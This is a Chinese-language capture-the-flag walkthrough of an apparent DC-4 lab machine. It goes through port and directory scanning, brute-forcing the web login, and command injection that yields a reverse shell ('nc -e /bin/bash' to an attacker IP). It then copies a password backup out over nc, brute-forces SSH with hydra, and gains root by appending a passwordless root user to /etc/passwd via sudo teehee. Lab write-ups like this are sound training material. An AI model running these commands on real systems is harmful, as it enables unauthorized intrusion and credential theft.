一、信息收集
主机发现,靶场的ip为192.168.93.146
扫描靶机开放端口,发现22、80端口开放
进一步扫描靶机的服务
nmap -A -sV -p--T4 192.168.93.146
在这里我们看见22的ssh第一反应就是可以对其进行账号密码的暴力破解,先打开80的http看一下吧
直接打开网站,寻找信息
发现是一个登录框,可以输入账号密码。
使用dirsearch进行目录扫描,看看能不能拿到后台登陆的地址
dirsearch -u 192.168.93.146
扫描结果:
command.php、login.php、logout.php的页面,拼接url,访问时网站192.168.93.146/xxx.php(如192.168.93.146/command.php)会重定向到192.168.93.146/index.php;要求必须登陆
还有192.168.93.146/css/、192.168.93.146/images/,这个结果证明有一个images的目录,看名字应该是存放图片的地方,后期有漏洞的话也可以尝试挂马试试
用wappalyzer进行查看,该网站也不是根据cms搭建起来的,所以无法从searchsploit寻找方法
尝试进行爆破登录,通过burp爆破
变量1:账号
变量2:密码
爆破结果:账号:root1,密码:happy
用爆破结果顺利登录,登入后台看到一个链接
点开网页是一个命令执行页面
点击run后,会执行命令
可以看到执行了ls -l之后获取到了当前位置下的目录,这里猜测可以执行命令会不会是有一些敏感数据的传输,使用burp抓包看一下
burp抓包之后很惊喜,查看到在请求数据包内直接是对命令进行明文传输的,尝试对其进行修改看看能不能执行其他的命令
发现可以进行命令执行
通过bp抓取数据包并修改命令,发现修改后的命令可以执行
修改命令
修改后执行的结果
二、漏洞查找与利用
建立shell,进行连接
既然可以通过修改命令执行,我们这里尝试反弹shell;注意的是空格用+代替。
nc -e /bin/bash192.168.93.159 5555
修改后的:nc+-e+/bin/bash+192.168.93.159+5555
等kali进行监听
nc -lvnp 5555
放行burpsuit拦截,kali即可监听到,进行连接
shell建立成功升级为交互式shell
python -c'import pty;pty.spawn("/bin/bash")'
连接后的信息获取
到home下查看,发现三个账号的家目录:charles,jim,sam依次进行查看,发现仅有jim中有内容
sam和charles中的隐藏文件并没有什么有用信息
因此下一步就是针对jim下在文件进行重点检查,看有什么可利用的信息
发现在jim的家发现一个old-passwords.bak的文件的历史密码,,这很可能就是一个密码的备份文件
对ssh爆破
通过nc监听把old-passwords.bak下载下来,然后对ssh暴力破解
将nc监听把old-passwords.bak下载下来到pass.txt
nc -kvnp 5555 > pass.txt
然后通过靶机中用nc将历史密码传入本地主机
nc192.168.93.159 5555 < old-passwords.bak
查看一下本地是否已存储密码
进行hydra爆破
hydra -l jim -Ppass.txt ssh://192.168.93.146 -vV -f -e nsr -t 4
-l user :login 小写,指定用户名进行破解
-L file:大写,指定用户的用户名字典
-p pass:小写,用于指定密码破解,很少使用,一般采用密码字典
-P file:大写,用于指定密码字典
-v / -V:显示详细过程
-f:找到第一对登录名或者密码的时候中止破解。
-e nsr:nsr 额外的选项,n:空密码试探,s:使用指定账户和密码试探,r:密码是用户名的反写
-t 数字:tasks 同时运行的线程数,默认是16
找到了ssh远程登录的用户名和密码
username:jim
password:jibril04
登录成功
sshjim@192.168.93.146
三、提权
下面这部分是直接在已连接的情况下进行切换的jim用户,意思一样
su 切换到jim账户去查看mbox文件
查看当前目录下文件,看是否可利用的
在这个文件中我们可以得知,root给jim发送了一封邮件,继续去linux存放邮件的目录下找一下有没有这个邮件
linux系统收到邮件都会保存在“/var/spool/mail/[linux用户名]”文件中
在邮件中发现了敏感信息password:^xHhA&hvim0y 以及用户名:Charles
尝试提权jim失败,说明密码不是jim的;切换用户charles,寻找提权点
注意这次切换用户的时候用户名需要改成小写
错误
用户名改成小写
用sudo -l 查看可使用的命令
发现teehee不需要密码就可以执行root权限
查看teehee的帮助信息,得到teehee的参数a可以在文件后面加入内容
想到在/etc/passwd文件加入具有root权限的自定义用户名并且不设置密码
/etx/passwd文件下的用户格式为:
用户名:密码占位符:用户id:组id:备注信息:家目录:命令执行环境
切换用户即可提权成功
echo'test::0:0::/home/admin:/bin/bash' |sudo teehee -a /etc/passwd
四,成功在/root/目录下拿到flag
微信搜索公众号"东南网络安全"